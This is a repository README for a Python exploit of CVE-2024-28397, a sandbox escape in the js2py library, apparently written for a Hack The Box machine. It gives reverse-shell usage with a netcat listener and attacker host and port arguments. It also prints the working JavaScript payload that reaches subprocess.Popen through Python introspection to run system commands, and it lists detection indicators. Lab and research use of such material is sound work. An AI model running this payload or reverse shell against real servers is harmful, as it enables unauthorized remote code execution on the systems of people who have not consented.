naclapor/cve-2024-28397This repository contains a python exploit code for CVE-2024-28397 intended for use on the "CodePartTwo" machine on Hack The Box (HTB).
A Python exploit code for CVE-2024-28397, a critical vulnerability in js2py <= 0.74 that allows sandbox escape and remote code execution.
js2py is a popular Python library for evaluating JavaScript code within Python environments. This vulnerability allows attackers to escape the js2py sandbox environment and execute arbitrary Python/system commands, even when js2py.disable_pyimport() is enabled.
The exploit leverages Python's object introspection capabilities through JavaScript to access the subprocess.Popen class and execute system commands.
pip install requests
# Start netcat listener
nc -lnvp 4444
# Run exploit
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444
--target Target URL endpoint (required)
--lhost Local IP for reverse shell (required)
--lport Local port for reverse shell (default: 4444)
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100
__class__ and __base__subprocess.Popen through introspectionThe exploit works by:
Object.getOwnPropertyNames({}).__class__.__base__.__getattribute____subclasses__()subprocess.Popen class// Access Python object hierarchy
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");
// Find subprocess.Popen class
function findpopen(o) {
// Recursive search through subclasses
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
}
}
// Execute command
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Look for JavaScript code containing:
__class__ or ___class___ attribute access__subclasses__() method callssubprocess or Popenprintf and base64 -dThis tool is for authorized penetration testing and educational purposes only. Users are responsible for complying with applicable laws and regulations. Unauthorized access to computer systems is illegal.
This project is licensed under the MIT License - see the LICENSE file for details.